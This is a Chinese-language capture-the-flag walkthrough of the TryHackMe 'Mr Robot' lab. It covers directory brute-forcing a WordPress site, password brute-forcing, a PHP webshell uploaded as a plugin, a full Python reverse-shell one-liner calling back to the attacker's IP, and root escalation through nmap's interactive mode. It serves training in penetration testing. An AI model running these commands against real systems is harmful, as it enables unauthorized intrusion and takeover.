来自tryhackme的Mr Robot CTF
访问首页是一个命令行执行页面,其实也没多大用,就是输出命令显示相关的东西。随便输入一个地址报错,显示是一个wordpress的站点,4.3.1的版本。
http://10.10.188.224/http:/10.10.188.224/
然后查找一个其他页面是否有别的信息。
python dirbrute.py http://10.10.188.224/ -t 20 -d ./dics/DirBuster/directory-list-2.3-medium.txt
查找到部分信息
http://10.10.188.224/sitemap
http://10.10.188.224/rss
http://10.10.188.224/login
http://10.10.188.224/feed
http://10.10.188.224/0
http://10.10.188.224/atom
http://10.10.188.224/image
http://10.10.188.224/wp-content
http://10.10.188.224/admin
http://10.10.188.224/intro
http://10.10.188.224/wp-login
http://10.10.188.224/rss2
http://10.10.188.224/license
http://10.10.188.224/Image
http://10.10.188.224/rdf
http://10.10.188.224/page1
http://10.10.188.224/readme
http://10.10.188.224/robots
......
其中robots文件中提示我们有两个文件
fsocity.dic
key-1-of-3.txt
其中key-1-of-3.txt
就是我们需要的第一个key。另一个文件看起来像是个字典,可能是需要爆破后面的登陆账号密码,现在需要一个账号。先用这个字典爆破一个账号,在密码找回的地方,找到一个Elliot
用户。
然后再去爆破密码,原字典里发现有不少重复的单词,去重后发现数量少了一大半,就这是用来消耗你时间的啊?
使用在线去重:https://tool.lanrentuku.com/quchong/,发现只剩一万多条数据。经过漫长的爆破,发现密码为
ER28-0652
,登陆后台。
同过后台上传插件,上传一个php文件,虽然会显示上传失败,但是文件已经上传
http://10.10.188.224/wp-content/uploads/2020/07/1.php
上传的是一句话,使用蚁剑连接即可。
为了方便操作命令,反弹一个shell回来。
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.6.4.191\",8089));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'
反弹回来后,利用python -c 'import pty; pty.spawn("/bin/bash")'
来升级shell模式。
在/home/robot
目录下发现一个文件,其中包含的robot:c3fcd3d76192e4007dfb496cca67e13b
解密是abcdefghijklmnopqrstuvwxyz
,用户robot的密码可能就是这个。
更改到这个用户后,目录下就有我们需要的第二个key。
然后使用此用户提权,先查看一个SUID文件,find / -user root -perm -4000 -print 2>/dev/null
结果中看到这个文件,nmap在版本低于5.21的时候,可以提权
/usr/local/bin/nmap
nmap version 3.81
利用nmap提权获取root:
robot@linux:~$ nmap --interactive
nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
# id
id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
#
在root目录下就可以看到firstboot_done
文件和最后一个key,到此就算是结束了。